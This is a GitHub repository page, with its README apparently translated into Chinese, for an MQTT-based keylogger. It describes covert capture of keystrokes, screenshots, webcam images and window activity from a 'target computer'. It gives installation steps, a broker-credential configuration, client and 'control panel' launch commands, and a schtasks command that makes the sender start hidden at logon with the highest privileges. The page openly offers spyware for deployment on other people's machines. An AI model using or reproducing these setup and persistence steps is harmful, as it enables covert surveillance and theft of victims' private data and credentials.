xoruss/keylogger_

GitHub: xoruss/keylogger_

该项目是一个基于 MQTT 协议的跨平台远程监控系统,通过发布订阅模式实现键盘记录、屏幕截取、摄像头快照和窗口活动跟踪等数据的隐蔽传输与集中收集。

Stars: 4 | Forks: 0

# Keylogger-MQTT 一个基于 MQTT 协议构建的实时远程监控和数据收集系统。该项目具备隐蔽的数据传输、键盘记录和屏幕截取功能,可从目标机器获取信息。 ## _核心功能 * **键盘记录:** 记录所有按下的按键,完全支持俄语键盘布局(西里尔字母)。 * **远程截屏:** 按需捕获目标屏幕。 * **摄像头快照:** 远程触发并捕获目标设备摄像头的图像。 * **活动监控:** 跟踪当前活动窗口的标题,以了解用户正在进行的操作。 * **MQTT 协议:** 通过 MQTT broker 进行轻量级且快速的数据传输。 * **跨平台就绪:** 核心逻辑针对 Windows 环境进行了优化。 * **支持俄语 ## 🌐 要求与设置 ### 要求 * **公网 IP(或域名):** 运行 MQTT broker 的机器必须可以通过公网 IP 地址或域名访问。如果您在 NAT 后面,则需要在路由器上设置端口转发(端口 1883)。 * **Mosquitto MQTT Broker:** 您需要一个正在运行的 MQTT broker 来处理消息路由。 ## 安装说明 ### 1. 克隆仓库 ``` git clone https://github.com/xoruss/keylogger_.git cd keylogger_ ``` ## 2. 安装依赖 强烈建议使用虚拟环境: ``` pip install -r requirements.txt ``` ## 3. 配置 在根目录下创建一个 .env 文件,并添加您的 MQTT broker 凭证: ``` IP_IP=your_public_ip_or_domain MQTT_BROKER_LOGIN=your_login MQTT_BROKER_PASSWD=your_password ``` ## 系统架构 该项目分为两个主要组件: * **`sender.py`(客户端):** 安装在**目标计算机**上。它负责拦截按键、捕获屏幕截图/摄像头照片,并将数据发布到 broker。 * **`scr/receiver.py`(服务端):** 您的“控制面板”。它订阅 MQTT broker 主题,接收日志,将屏幕截图保存到 `scr/screenshots/`,并将活动记录到 `scr/logs_ru.txt` 中。 ## 启动客户端(目标): ``` python sender.py ``` ## 启动服务端(控制面板): ``` cd scr python receiver.py ``` ## Windows 开机自启 为了确保在系统启动时以管理员权限隐蔽执行,建议使用 Windows 任务计划程序。 **注意:** 要使其正常工作,您必须首先将您的 `sender.py` 编译为 `.exe` 文件。 ``` schtasks /create /tn "KeyloggerTask" /tr "C:\path\to\your\sender.exe" /sc onlogon /rl highest /f ```
标签:屏幕截图, 数据窃取, 远程监控, 逆向工具, 键盘记录器